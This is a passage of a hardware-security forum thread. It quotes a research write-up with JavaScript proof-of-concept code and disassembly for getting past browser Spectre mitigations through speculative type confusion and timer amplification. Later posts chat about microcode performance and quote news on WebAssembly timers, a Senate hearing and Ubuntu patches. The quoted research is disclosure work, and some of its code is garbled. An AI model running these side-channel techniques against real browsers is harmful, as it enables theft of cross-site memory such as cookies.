    1. Index masking of array objects data access. This means that before using the supplied index to access an array-like object, the index is AND’d with a mask that is based on the length of the array. The CPU does not guess the output of AND operations before it has both sides so no speculation could be done on the mask and all reads should in-bounds with this mitigation. We should note that the mask is for the next power of 2 above the array length in most implementations, so small out-of-bounds access might still be possible, albeit very challenging. If the mask is already retrieved from RAM then most probably the array length is already in the CPU cache, as they are usually very close (could be on the same cache-line). In addition, the RAM fetch request for the length was probably initiated first, so would probably complete first and the speculative execution would terminate before the actual array access.

    2. Site-Isolation for resources per domain in separate processes. That means that Javascript code running in the context of domain X will not have the cookies of domain Y in the same memory space.

    3. Disabling support for SharedArrayBuffer that can be used to implement high precision timers to time data access and query whether it was CPU cached or not.

    4. Reducing resolution of response of performance.now(), so that it would be hard to use it for timing data access given the very fast CPU cache and/or RAM access times.

    5. Adding jitter to the response of performance.now() so it would be even harder to time data access. It should be noted that where implemented, it still needs to keep the following properties: if t1 > t2 then performance.now()[t1] >= performance.now()[t2] and also if current time is exactly t1 then \|performance.now()[t1] - t1\| <= fixed-small-max-jitter-value.
    The exact performance.now() implementation for Chromium including lower resolution and jitter can be seen here trough the functions “Performance::now()”, “Performance::MonotonicTimeToDOMHighResTimeStamp()” and “TimeClamper::ClampTimeResolution()” in here.

    Overcoming the index masking mitigation
    This mitigation prevents us from accessing out-of-bounds data from speculative execution branches using out-of-bounds indices for array-like objects.

    Let’s consider another approach with the following Javascript code:

    var probeBuf = new ArrayBuffer(256);
    var probeArr = new Uint8Array(probeBuf);

    function spectre(obj) {
    var index = obj.m53 % 256;
    probeArr[index] = 100;
    }

    function LargeClass() {
    this.m1 = 1;
    this.m2 = 1;
    this.m3 = 1;
    this.m4 = 1;
    this.m5 = 1;
    this.m6 = 1;
    this.m7 = 1;
    this.m8 = 1;
    this.m9 = 1;
    this.m10 = 1;
    this.m11 = 1;
    this.m12 = 1;
    this.m13 = 1;
    this.m14 = 1;
    this.m15 = 1;
    this.m16 = 1;
    this.m17 = 1;
    this.m18 = 1;
    this.m19 = 1;
    this.m20 = 1;
    this.m21 = 1;
    this.m22 = 1;
    this.m23 = 1;
    this.m24 = 1;
    this.m25 = 1;
    this.m26 = 1;
    this.m27 = 1;
    this.m28 = 1;
    this.m29 = 1;
    this.m30 = 1;
    this.m31 = 1;
    this.m32 = 1;
    this.m33 = 1;
    this.m34 = 1;
    this.m35 = 1;
    this.m36 = 1;
    this.m37 = 1;
    this.m38 = 1;
    this.m39 = 1;
    this.m40 = 1;
    this.m41 = 1;
    this.m42 = 1;
    this.m43 = 1;
    this.m44 = 1;
    this.m45 = 1;
    this.m46 = 1;
    this.m47 = 1;
    this.m48 = 1;
    this.m49 = 1;
    this.m50 = 1;
    this.m51 = 1;
    this.m52 = 1;
    this.m53 = 1;
    }

    function SmallClass() {
    this.m1 = 1;
    this.m2 = 1;
    this.m3 = 1;
    this.m4 = 1;
    this.m53 = 1;
    }

    var largeObj = new LargeClass();
    var smallObj = new SmallClass();

    for (var i = 0; i < 4000000; i++) {
    spectre(largeObj);
    }

    spectre(smallObj); // Will speculatively treat the object as LargeClass at first

    for (var i = 0; i < 256; i++) {
    var before = performance.now();
    probeArr = 100;
    var after = performance.now();
    if (after - before < 200) {
    //None of the probeArray slots are in the cache from before since it was never accessed in the code.
    //The first slot that is detected to be in the CPU cache because of the fast access time is
    //then used to determine the value of the byte at offest 0x1bb from the beginning of input object of the spectre() function.
    //The slot is referenced inside the function spectre() in a speculatively executed branch and by the fast
    //access time we can conclude the slot that is in the CPU cache and therefore the "secret" data that was used to
    //set the slot index inside the function spectre().
    //The value of the memory at offest 0x1bb from the beginning of input object to the spectre() function is the current value of i.
    //Log the result and exit the loop.
    break;
    }
    }
    console.log(localJunk);

    TurboFan compiles the function spectre() into:
    ...

    //fetch input param (obj) of the function to rax
    0x2b40db1d21ea 6a 488b4510 REX.W movq rax,[rbp+0x10]

    //make sure that param is a pointer (lower bit is 1 in V8 representation)
    0x2b40db1d21ee 6e a801 test al,0x1
    0x2b40db1d21f0 70 0f8412010000 jz 0x2b40db1d2308 <+0x188>

    //validate that the param is of type LargeClass (hidden class pointer compare)
    0x2b40db1d21f6 76 48bbf1e5d8e86b000000 REX.W movq rbx,0x6be8d8e5f1 ;; object: 0x006be8d8e5f1 <Map(HOLEY_ELEMENTS)>
    0x2b40db1d2200 80 483958ff REX.W cmpq [rax-0x1],rbx
    0x2b40db1d2204 84 0f8503010000 jnz 0x2b40db1d230d <+0x18d> <--speculative execution here - make sure hidden class pointer is not in cache so branch speculation will continue as if it is a LargeClass object

    //fetch member at offset 0x1bb from the beginning of the input object into rbx (this is the offset of m53 for LargeClass objects)
    0x2b40db1d220a 8a 8b98bb010000 movl rbx,[rax+0x1bb] <--access out-of-bounds data here if obj is of type SmallClass, need to make sure offset 0x1bb from the input object is in the CPU cache, so we can continue with the result before the hidden class pointer is fetched from RAM and speculative execution is stopped

    //sanity make sure that rbx (obj.m53) is indeed a 32 bit unsigned integer
    0x2b40db1d2210 90 49ba0000000001000000 REX.W movq r10,0x100000000
    0x2b40db1d221a 9a 4c3bd3 REX.W cmpq r10,rbx
    0x2b40db1d221d 9d 7310 jnc 0x2b40db1d222f <+0xaf>
    0x2b40db1d221f 9f 48ba0000000001000000 REX.W movq rdx,0x100000000
    0x2b40db1d2229 a9 e8329ae8ff call 0x2b40db05bc60 (Abort) ;; code: Builtin::Abort
    0x2b40db1d222e ae cc int3l

    //make sure rbx (obj.m53) >= 0
    0x2b40db1d222f af 83fb00 cmpl rbx,0x0
    0x2b40db1d2232 b2 0f8c9d000000 jl 0x2b40db1d22d5 <+0x155>

    //extract only the lower byte of obj.m53 (% 256)
    0x2b40db1d2238 b8 0fb6db movzxbl rbx,rbx

    //sanity make sure that rbx (obj.m53 % 256) is indeed a 32 bit unsigned integer
    0x2b40db1d223b bb 49ba0000000001000000 REX.W movq r10,0x100000000
    0x2b40db1d2245 c5 4c3bd3 REX.W cmpq r10,rbx
    0x2b40db1d2248 c8 7310 jnc 0x2b40db1d225a <+0xda>
    0x2b40db1d224a ca 48ba0000000001000000 REX.W movq rdx,0x100000000
    0x2b40db1d2254 d4 e8079ae8ff call 0x2b40db05bc60 (Abort) ;; code: Builtin::Abort
    0x2b40db1d2259 d9 cc int3l

    //make sure rbx (obj.m53 % 256) is lower than 256 as it will be used as an index for an array of that size
    0x2b40db1d225a da 81fb00010000 cmpl rbx,0x100
    0x2b40db1d2260 e0 0f83ac000000 jnc 0x2b40db1d2312 <+0x192>

    ...

    //move (obj.m53 % 256) to rax
    0x2b40db1d227a fa 8bc3 movl rax,rbx

    //sanity make sure that rax (obj.m53 % 256) is indeed a 32 bit unsigned integer
    0x2b40db1d227c fc 49ba0000000001000000 REX.W movq r10,0x100000000
    0x2b40db1d2286 106 4c3bd0 REX.W cmpq r10,rax
    0x2b40db1d2289 109 7310 jnc 0x2b40db1d229b <+0x11b>
    0x2b40db1d228b 10b 48ba0000000001000000 REX.W movq rdx,0x100000000
    0x2b40db1d2295 115 e8c699e8ff call 0x2b40db05bc60 (Abort) ;; code: Builtin::Abort
    0x2b40db1d229a 11a cc int3l

    //move the probeArr object pointer to rbx
    0x2b40db1d229b 11b 48bb700f05aa54560000 REX.W movq rbx,0x5654aa050f70

    //assign 100 to probeArr[obj.m53 % 256]
    0x2b40db1d22a5 125 c6041864 movb [rax+rbx*1],0x64 <--this inserts the relevant entry of probeArr into the CPU cache based on the secret value inside the speculative execution, so we can query the probeArr later to see which entry is in the CPU cache

    ...


    In this code we have the function spectre() which we call many times. It receives a single parameter and since we always call it with an object of type LargeClass then it gets logged in the function’s feedback vector and TurboFan then compiles the function for handling this type specifically.

    In the beginning of the function, the parameter’s hidden class pointer (parameter type) is compared against the known fixed static pointer of the LargeClass type hidden class. If there is a match execution continues and if not then TurboFan execution stops and an unoptimized execution of the function happens.

    If the parameter hidden class pointer is not CPU cached then if we pass an object of type SmallClass then speculative execution can continue until the CPU realizes it is the wrong hidden class. Inside the speculative branch a large offset from the beginning of the object is queried (out-of-bounds for objects of type SmallClass).

    This out-of-bounds data is then used as an index for the probe array and the Spectre exploit continues to timing accesses to the different probe array slots to understand which one is in the CPU cache.

    This approach might not get us very far from the object since from a certain object size the layout of the object is different in the memory and this method is no longer applicable. Saying that, it is still an out-of-bounds memory read.

    Another note is that before executing the spectre() function we must make sure that the hidden class pointer of the object passed to the function is not cached so that speculative execution will start, that the secret data queried is CPU cached (for example loading a new resource from a domain so the cookie would be loaded into the CPU cache) so that execution could continue to accessing the probe array before the speculative execution terminates, and that the probe array is all out of CPU cache so that only one entry will be in the CPU cache after the function call.

    In a real exploit the probe array slots that are used will be further apart to prevent cache pre-fetching effects to insert multiple slots into the CPU cache at once.

    This code is not presented in the POC code since it is harder to show the result with this technique, as Javascript doesn’t allow access to the secret data, and it’s impossible to compare it with the results we got from the Spectre exploit. The success of the exploit can be manually examined by attaching a debugger to the process right after executing the exploit and dumping the process memory.

    A few notes about the Site-isolation mitigation
    This mitigation is very effective, but potentially very challenging to implement correctly: it can have performance and functionality issues, and developers must actively maintain different data types in the correct process.

    Another issue is that per-domain data that is not meant to be accessed by Javascript, such as HttpOnly cookies, still has the potential of being exposed.

    Overcoming the data timing mitigations with a low resolution and jittered timer
    The following techniques explained here are implemented in our POC.

    We also implemented a very precise timer for Chromium to debug our code with. The patch for this timer is also available here.

    Here we will focus on how to detect cache effects from speculative branches with low resolution and jittered timers.

    Let’s consider the following code:

    lastTick = performance.now();
    while (lastTick == (curTick = performance.now()));

    The code above executes a busy loop until exactly the time in which we hit a new tick in performance.now(). (performance.now() returns the same time exactly between low resolution jittered ticks)

    Now let’s add to it some code that executes exactly when the clock ticked:

    lastTick = performance.now();
    while (lastTick == (curTick = performance.now()));

    for (var i = 0; i < ITER_COUNT; i++) {
    globalVar++;
    }

    globalVar = probeArr[index];

    if (performance.now() == curTick) {
    //The access to probeArr[index] is a cache hit
    } else {
    //The access to probeArr[index] is a cache miss
    }

    If we had no jitter and performance.now() was a small constant time execution function, we could compute the time it takes to execute globalVar++ for a specific processor. Then, we would ajust the value of ITER_COUNT so that the next performance.now() after the probeArr[index] access will get us to the next tick if we have a cache miss, and keep us in the current tick for a cache hit.

    time:
    --------------------------------------------------------------------------
    | | |
    | | |--------------|--------------|
    | | |-----------| | |
    | | |probeArr | |probeArr |
    | | |access | |access |
    | |---------|------------|cache | |cache |
    | |wait for |ITER_COUNT |hit | |miss |
    | |tick |busy loop | | | |
    --------------------------------------------------------------------------
    tick | tick | tick |
    performance.now() performance.now() performance.now()

    This method works fine if performance.now() executes in a constant time and there is no jitter - but that isn’t the case with the current Spectre mitigations. To overcome this, we can first change the size of the probe array to have only 2 slots, one for bit value 0 and one for bit value 1, and query the out-of-bounds data bit after bit. We can then query the probe array for each secret bit multiple times, so that on average we get the true result for that bit.

    This method could take an unreasonable amount of time to execute for each bit, due to performance.now() execution time overhead and timer jitter noise.

    To solve this, we needed an approach which amplifies the cache miss/hit difference. To do that we wanted to have many cache misses or hits for each queried bit. We wanted to have many probe array slots for each queried bit cached or uncached. This can be achived by executing the speculative execution function for each bit multiple times and each time inserting a new slot of the probe array to the CPU cache. Then to retrieve the secret bit we can execute code such as the following:

    lastTick = performance.now();
    while (lastTick == (curTick = performance.now())); lastTick = curTick;

    for (var i = 0; i < SLOT_COUNT; i++) {
    globalVar += probeArrBitValueZero;
    }

    var zeroCount = 0;

    while (performance.now() == curTick) {
    zeroCount++;
    }

    lastTick = performance.now();
    while (lastTick == (curTick = performance.now())); lastTick = curTick;

    for (var i = 0; i < SLOT_COUNT; i++) {
    globalVar += probeArrBitValueOne;
    }

    var oneCount = 0;

    while (performance.now() == curTick) {
    oneCount++;
    }

    if (oneCount > zeroCount) {
    //probeArrBitValueOne slots were cached and accessed faster so the count is higher and the secret bit value is 1
    } else {
    //probeArrBitValueZero slots were cached and accessed faster so the count is higher and the secret bit value is 0
    }

    This code didn’t provide the wanted results as the memory fetches for the probe array were executed out of order and at the same time by the CPU, so we didn’t get the wanted amplification. To overcome this, we assigned each slot in the probe arrays with the index of the next slot such as this:

    for (var i = 0; i < SLOT_COUNT; i++) {
    probeArrBitValueZero = i + 1;
    }
    for (var i = 0; i < SLOT_COUNT; i++) {
    probeArrBitValueOne = i + 1;
    }

    The query code was changed to:

    lastTick = performance.now();
    while (lastTick == (curTick = performance.now())); lastTick = curTick;

    var index = 0;

    for (var i = 0; i < SLOT_COUNT; i++) {
    // Iterations are ensured to perform in order, not simultaneously,
    // since each iteration depends on the result of the previous one.
    index = probeArrBitValueZero[index];
    }
    globalVar += index;

    var zeroCount = 0;

    while (performance.now() == curTick) {
    zeroCount++;
    }

    lastTick = performance.now();
    while (lastTick == (curTick = performance.now())); lastTick = curTick;

    index = 0;
    for (var i = 0; i < SLOT_COUNT; i++) {
    // Iterations are ensured to perform in order, not simultaneously,
    // since each iteration depends on the result of the previous one.
    index = probeArrBitValueOne[index];
    }
    globalVar += index;

    var oneCount = 0;

    while (performance.now() == curTick) {
    oneCount++;
    }

    if (oneCount > zeroCount) {
    //probeArrBitValueOne slots were cached and accessed faster so the count is higher and the secret bit value is 1
    } else {
    //probeArrBitValueZero slots were cached and accessed faster so the count is higher and the secret bit value is 0
    }

    This way, out of order fetches are not possible as the CPU can’t know the next address to be fetched before completing the previous fetch.

    Using this approach together with performing the test multiple times for each bit and taking the average as the final result, we were able to read secret bits successfully.

    To implement this approach, we had to make sure that different probe arrays for bit value 1 and bit value 0 were not using the same cache sets, and that accessing each slot would not prefetch any other slots. To achieve this, we used a single large array, and used different indices inside it to implement sub-arrays. Each slot was a page apart from the previous slot - to prevent pre-fetches and to make sure it is not in the same cache-set (different values for bits 13 and above). The beginning of a new sub array is at an offset of 1/4 page from the end of the last page of the last slot of the previous sub array. This way we ensured that the slots of each sub-array have different 10-11 address bits so they use different cache-sets.

    Main Array:
    -----------------------------------------------------------------------
    |Sub-array0 |1024 Bytes|Sub-array1 |
    |------------------------- |(1/4 Page)|------------------------- |
    | Page0| Page1| | | Page0| Page1| |
    |------ |------ | | |------ |------ | |
    |Slot0| |Slot1| |... | |Slot0| |Slot1| |... |
    ----------------------------------------------------------------------- ...

    To flush the cache before each test for the 2 probe sub arrays, we used another, much larger sub-array, and accessed it at indices with the same address values for bits 10-12 of the slots of the 2 probe arrays slots. We constructed it such that if the main array was present in a contiguous, non-fragmented physical memory space, then these accessed slots would use the same cache-sets as the probe arrays slots.

    Implications
    In this presented research we were able to show that even with the implemented Spectre mitigations, we were able to:
    1. Read speculatively accessed memory in Chrome at around 1 bit per second.

    2. Read accessed memory in Edge (not speculatively accessed) at around 1 bit per second.

    3. Read accessed memory in Safari (not speculatively accessed) at around 1 bit per second.
    We were not able use these techniques in Firefox, as they recently reduced the timer resolution to 2ms. The techinque presented here is potentially relevant even for this timer resolution, but some parameter tweaking is required.

    This is not a full exploit, but a POC of overcoming some of the browsers’ Spectre mitigations.

    We didn’t implement the technique for accessing out-of-bounds data, that works with the index masking mitigations in the POC. However, it should work using code similar to what was presented in this post.

    Microsoft did not publish the index masking mitigation in its mitigations page, which might mean that this could be used in Edge to access any memory address in the browser address space, and have arbitrary read access to any such address.

    Further research
    This read bandwidth could potentially be improved by tweaking the code and parameters. Other, better methods for accessing out-of-bounds data that work with the Spectre mitigations in place, could improve the effectiveness of this POC.
    Conclusions
    This research shows that while the timing mitigations implemented in different browsers are effective at dramatically slowing down Spectre-like attacks, they are not effective at preventing them. This means that more robust solutions are required, such as site-isolation and index masking. These timing mitigations are hurting performance and functionality for some web applications, and taking into account their limited effectiveness, reverting them should be considered."
     
    Last edited: Jul 2, 2018
  38. Vasudev

    Vasudev Notebook Nobel Laureate

    Reputations:
    12,035
    Messages:
    11,278
    Likes Received:
    8,814
    Trophy Points:
    931
    So like CERT said, replacing hardware is cheaper than SW sh**.
    I bet Intel ousted ex CEO because of this reason alone!.
    I reckon Intel won't recall all their faulty products even a 2 decade old chips for Ryzen TR.
     
    hmscott likes this.
  39. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    That's not too bad then, you can turn on Strict Site Isolation on Chrome web browser, it just uses a little more RAM, but performance is OK I've found.
     
    hmscott likes this.
  40. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Damn, so both my Sandybridge CPU in my laptop & my Skylake CPU in my desktop are gonna be getting another new 'Spectre-protected' microcode - wonder how much performance hit this one will have this time around! My Skylake CPU saw a 3% drop in performance using C2 microcode in worst case, but how much extra performance hit from using the C6 microcode that is due to come out soon (perhaps it will be released through Microsoft again).
     
    hmscott likes this.
  41. Vasudev

    Vasudev Notebook Nobel Laureate

    Reputations:
    12,035
    Messages:
    11,278
    Likes Received:
    8,814
    Trophy Points:
    931
    on C6 microcode skylake, the matters are worse.
     
    hmscott likes this.
  42. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Well that wouldn't surprise me that performance would be worse with C6 microcode. Have you got some links you can show me re performance of C6 microcode?
     
    Vasudev likes this.
  43. Vasudev

    Vasudev Notebook Nobel Laureate

    Reputations:
    12,035
    Messages:
    11,278
    Likes Received:
    8,814
    Trophy Points:
    931
    I haven't taken a screenshot. But in CB r15 using real time priority I got 668 score after the update. BA and C2 gave 699(Spectre protection disabled in BIOS). Afterwards I disabled the OS spectre protection to get the score back to 698.
     
    c69k, hmscott and Robbo99999 like this.
  44. Robbo99999

    Robbo99999 Notebook Prophet

    Reputations:
    4,346
    Messages:
    6,824
    Likes Received:
    6,112
    Trophy Points:
    681
    Wow, this seems like more of a fundamental hit to basic CPU performance! Nearly 5% performance loss. CB15 hasn't really been the worst case in terms of degredation of CPU performance when it comes to Spectre, so I dread to think what performance metrics would be in sensitive areas. You used VMWare driver method of installing C6 microcode? (not available through Microsoft yet)
     
    Vasudev and hmscott like this.
  45. Vasudev

    Vasudev Notebook Nobel Laureate

    Reputations:
    12,035
    Messages:
    11,278
    Likes Received:
    8,814
    Trophy Points:
    931
    Try googling platomav github to get updated bin files for every CPU. https://github.com/platomav/CPUMicrocodes
    Daz from MDL patched the BIOS for me and gave me instructions how to do it using MMtool 5. He spent just 5 mins and the BIOS is flashed w/o issues.
     
    Vistar Shook, hmscott and Robbo99999 like this.
  46. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Changes in WebAssembly Could Render Meltdown and Spectre Browser Patches Useless
    By Catalin Cimpanu, June 24, 2018
    https://www.bleepingcomputer.com/ne...meltdown-and-spectre-browser-patches-useless/

    "Upcoming additions to the WebAssembly standard may render useless some of the mitigations put up at the browser level against Meltdown and Spectre attacks, according to John Bergbom, a security researcher at Forcepoint.

    WebAssembly (WA or Wasm) is a new technology that shipped last year and is currently supported within all major browsers, such as Chrome, Edge, Firefox, and Safari.

    The technology is a compact binary language that a browser will convert into machine code and run it directly on the CPU.

    Browser makers created WebAssembly to improve the speed of delivery and performance of JavaScript code, but as a side effect, they also created a way for developers to port code from other high-level languages (such as C, C++, and others) into Wasm, and then run it inside a browser.

    All in all, the WebAssembly standard is viewed as a success in the web dev community, and there've been praises for it all around.

    WebAssembly is not immune to abuse
    But like all technologies, it also came with some unforeseen side effects and cases of abuse. For starters, the rise of in-browser cryptocurrency miners (cryptojacking scripts) can be traced precisely to the addition of WebAssembly inside major browsers, as all in-browser miners run on top of WebAssembly, and not pure JavaScript.

    Now, a Forcepoint researcher argues there could be another unintended side effect of WebAssembly for web users.

    "Once Wasm gets support for threads with shared memory (which is already on the Wasm roadmap), very accurate [JavaScript] timers can be created," Bergbom says, "that may render browser mitigations of certain CPU side channel attacks non-working."

    WebAssembly may bypass some browser mitigations
    In this statement, Bergbom is more accurately referring to "timing attacks," which are a class of side-channel attacks.

    Timing attacks are a class of cryptographic attacks through which a third-party observer can deduce the content of encrypted data by recording and analyzing the time taken to execute cryptographic algorithms.

    The recently disclosed Meltdown and Spectre CPU vulnerabilities, along with their many variations [ 1, 2, 3] are all timing attacks at their core.

    They rely on the attacker's ability to measure precise time intervals, a parameter needed to perform the side-channel attack and recover enough information from the encrypted blob of data to determine the rest.

    Browsers previously addressed this issue in January
    Back when Meltdown and Spectre came to light in January, researchers published proof of concept code that an attacker could have used to exploit these CPU vulnerabilities remotely, via the Internet, using JavaScript code that runs in the browser.

    This attack code utilized browsers' internal native functions for measuring time intervals, such as "SharedArrayBuffer" and "performance.now()."

    Browsers like Firefox and Chrome reacted by releasing updates that watered down the precision of these timer functions, rendering Meltdown and Spectre attacks, and other timing side-channel attacks, inefficient.

    But now, Bergbom says that once support for " threads" is added in WebAssembly, and this feature reaches modern browsers, those mitigations will be rendered useless, as an attacker has a new avenue for measuring precise time, via WebAssembly.

    "Like with many new technologies there are potential security issues which need to be considered," Bergbom said. "Collectively, these present new opportunities for malicious actors. Much as with JavaScript, the possibilities with Wasm are – if not quite endless – very broad."

    Preventing this from happening requires that browser vendors take the same approach once more by limiting WebAssembly's upcoming "threads" support to prevent attackers from crafting enough precise timers.

    A member of the WebAssembly team has told Bleeping Computer that they are aware of this issue and have put this feature on hold, for the time being, albeit no consensus has been reached on what to do next."
     
    Robbo99999 and Vasudev like this.
  47. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Senate panel announces hearing on computer chip flaws
    BY MORGAN CHALFANT - 07/06/18 04:53 PM EDT
    http://thehill.com/policy/cybersecurity/395878-senate-panel-announces-hearing-on-computer-chip-flaws

    "The Senate Commerce, Science and Transportation Committee has scheduled a hearing later this month to examine two critical vulnerabilities affecting computer processing chips unveiled earlier this year.

    The committee announced Friday that it would assess the “lessons learned” from the Spectre and Meltdown chip vulnerabilities next Wednesday.
    The chip flaws, which provide an avenue for hackers to steal sensitive data from most modern computing devices, were revealed in January by security researchers who had spent months investigating them. They impact a wide array of modern computer processing chips, including those manufactured by Intel, AMD, Google and Microsoft.

    The vulnerabilities were revealed before companies could issue patches for the impacted systems, sending companies scrambling to offer fixes to prevent hackers from leveraging the vulnerabilities in attacks.

    Following the revelations, Commerce Committee leaders Sens. John Thune (R-S.D.) and Bill Nelson (D-Fla.) wrote to executives at Amazon, Apple, Intel and other tech companies inquiring about their efforts to patch the vulnerabilities and mitigate the threat.

    The hearing next week will examine “cybersecurity issues raised in response to the Spectre and Meltdown vulnerabilities, such as challenges with conducting complex coordinated vulnerability disclosure and supply chain cybersecurity, and how best to coordinate cybersecurity efforts going forward,” the committee said.

    Lawmakers have called on an official at the National Institute of Standards and Technology — a nonregulatory laboratory at the Commerce Department — to testify, as well as academic security experts. They will also hear from the chief marketing officer at ARM, a microprocessor supplier."

    The House Energy and Commerce gave CPU makers 6 months to prepare and respond:

    House Energy and Commerce demands answers on Spectre and Meltdown cyber flaws
    BY ALI BRELAND - 01/24/18 02:32 PM EST
    http://thehill.com/policy/technolog...demands-answers-on-spectre-and-meltdown-cyber
    House Energy and Commerce Committee leaders are demanding answers from major technology companies affected by the Spectre and Meltdown cybersecurity flaws that leave computer chips vulnerable to hackers.

    In a letter, lawmakers pressed the CEOs of Intel, Apple, Microsoft, Amazon, Google, AMD and ARM to explain the need for an "information embargo" agreement between the companies to keep information on the cybersecurity vulnerabilities from the public.

    “While we acknowledge that critical vulnerabilities such as these create challenging trade-offs between disclosure and secrecy, as premature disclosure may give malicious actors time to exploit the vulnerabilities before mitigations are developed and deployed, we believe that this situation has shown the need for additional scrutiny regarding multi-party coordinated vulnerability disclosures,” the letter reads.

    The letter — signed by House Energy and Commerce Committee Chairman Greg Walden (R-Ore.), Subcommittee on Oversight and Investigations Chairman Gregg Harper (R-Miss.), Subcommittee on Digital Commerce and Consumer Protection Chairman Bob Latta (R-Ohio), and Subcommittee on Communications and Technology Chairman Marsha Blackman (R-Tenn.) -- is just the latest example of lawmakers' concern over the Spectre and Meltdown vulnerabilities.

    Rep. Jerry McNerney (D-Calif.) wrote his own letter to Intel, AMD and ARM earlier in January, probing the matter as well.

    Intel said that it's already begun to engage lawmakers on the chip vulnerabilities.

    "We appreciate the questions from the Energy and Commerce Committee and welcome the opportunity to continue our dialogue with Congress on these important issues," an Intel spokesperson said. "In addition to our recent meetings with legislative staff members, we have been discussing with the Committee an in-person briefing, and we look forward to that meeting."

    Researchers have called the flaws, which were revealed early this year, some of the worst computer processor vulnerabilities to date. The Department of Homeland Security and Intel have both said they’re not aware of anyone having successfully exploited the vulnerability yet.

    The companies kept Spectre and Meltdown under wraps after first discovering them over the summer in an attempt to create and issue software updates before hackers discovered and could exploit the vulnerabilities.

    The companies planned to make knowledge of the cybersecurity flaw public on Jan 9, but news of the vulnerabilities was leaked to the media.

    Chipmakers like AMD, Intel and ARM have since issued patches to mitigate the issue, however, some of the updates have led to hindered device performance.

    Experts believe that despite patches, the issue will only fully be resolved after the affected computer and phone hardware has been replaced.

    This story was updated at 4:11 p.m.

    US Senate Committee on Commerce, Science, & Transportation
    Press Release

    https://www.commerce.senate.gov/pub...eases?ID=37FE9996-35F2-4E36-A75D-ED3DC59F3B66
    July 6, 2018
    Committee to Hold Hearing to Examine Spectre and Meltdown Cybersecurity Lessons
    WASHINGTON – U.S. Sen. John Thune (R-S.D.), chairman of the Committee on Commerce, Science, and Transportation, will convene a hearing entitled, “Complex Cybersecurity Vulnerabilities: Lessons Learned from Spectre and Meltdown,” at 10:00 a.m. on Wednesday, July 11, 2018. The hearing will review cybersecurity issues raised in response to the Spectre and Meltdown vulnerabilities, such as challenges with conducting complex coordinated vulnerability disclosure and supply chain cybersecurity, and how best to coordinate cybersecurity efforts going forward. This hearing follows a letter sent by Sens. John Thune (R-S.D.) and Bill Nelson (D-Fla.) to 12 organizations about the Spectre and Meltdown vulnerabilities and the steps taken to mitigate these vulnerabilities.

    Witnesses:
    • Ms. Donna Dodson, Chief Cybersecurity Advisor and Director of the National Cybersecurity Center of Excellence, National Institute of Standards and Technology, U.S. Department of Commerce
    • Dr. José-Marie Griffiths, President, Dakota State University
    • Ms. Joyce Kim, Chief Marketing Officer, ARM
    • Mr. Art Manion, Senior Vulnerability Analyst, Computer Emergency Readiness Team Coordination Center, Software Engineering Institute, Carnegie Mellon University
    • Mr. Sri Sridharan, Managing Director, Florida Center for Cybersecurity, University of South Florida
    Hearing Details:
    Wednesday, July 11, 2018
    10:00 a.m.
    Full Committee

    This hearing will take place in Russell Senate Office Building, Room 253. Witness testimony, opening statements, and a live video of the hearing will be available on www.commerce.senate.gov.

    Permalink: https://www.commerce.senate.gov/pub...-examine-spectre-and-meltdown-vulnerabilities "

    JULY 11, 2018 10:00 AM
    COMPLEX CYBERSECURITY VULNERABILITIES: LESSONS LEARNED FROM SPECTRE AND MELTDOWN
     
    Last edited: Jul 9, 2018
    alexhawker, KY_BULLET and Vasudev like this.
  48. Vasudev

    Vasudev Notebook Nobel Laureate

    Reputations:
    12,035
    Messages:
    11,278
    Likes Received:
    8,814
    Trophy Points:
    931
    They should give a verdict saying Intel to replace the CPUs just to mitigate the performance what was advertised.
    I don't think AMD are affected by it like Intel. Even ARM chips in phones are slow as hell once more exploits are found.
     
    Starlight5, KY_BULLET and hmscott like this.
  49. hmscott

    hmscott Notebook Nobel Laureate

    Reputations:
    7,110
    Messages:
    20,384
    Likes Received:
    25,139
    Trophy Points:
    931
    Time to get patching Ubuntu
    By Iain Thomson in San Francisco 7 Jul 2018 at 13:06
    https://www.theregister.co.uk/2018/07/07/security_roundup/

    "Canonical has issued a rash of new security patches for its Ubuntu GNU/Linux distribution – updates that should be installed as soon as possible.

    Not all of these fixes are alike. If you're running a system with an AMD processor, one patch removes an earlier update that was supposed to address the Spectre CPU vulnerability. That microcode-level mitigation left some AMD-powered systems unable to boot, and now has been given the boot from Ubuntu Linux computers.

    There's also a security update for Firefox packages, following critical fixes from Mozilla. Ubuntu's handling of PHP, Devscripts, and Archive Zip have also been given some secure code lovin'.

    Regarding the Firefox updates, the security fixes were publicly issued by the browser's maker Mozilla on June 25 and 26, however, are only now making their way to Ubuntu users. Other Linux flavors, such as Debian, pushed out the Firefox security update days earlier to users.

    We asked Canonical why the week-long hold up, and a spokesperson told us the Ubuntu team was "waiting for the point release from Mozilla before pushing out updates." The Firefox snap is kept "up to date so users can install that if they want to run the latest version."

    Still, the delay irritated some, it meant people were left running vulnerable software while miscreants potentially developed exploits for the disclosed bugs.

    Infosec consultant, Stephan Verbücheln, based in Switzerland, told us earlier this week before Ubuntu updated its Firefox packages: "Despite this version fixing several security issues with critical risk, Ubuntu has still not updated the version in their repositories. There is no reason to assume that Ubuntu staff was overwhelmed by a sudden Mozilla release."

    In any case, if you use Firefox, get the latest updates."

    Ubuntu security notices
    https://usn.ubuntu.com/
     
  50. Vasudev

    Vasudev Notebook Nobel Laureate

    Reputations:
    12,035
    Messages:
    11,278
    Likes Received:
    8,814
    Trophy Points:
    931
    Updated one PC just today. I saw only FF,OpenCL ICD and GCC updates today. That microcode update was supplied like a month ago with new fixes. I used the same thing for Ucode vmware patch for AMD CPUs.
     
    Starlight5 and hmscott like this.
← Previous pageNext page →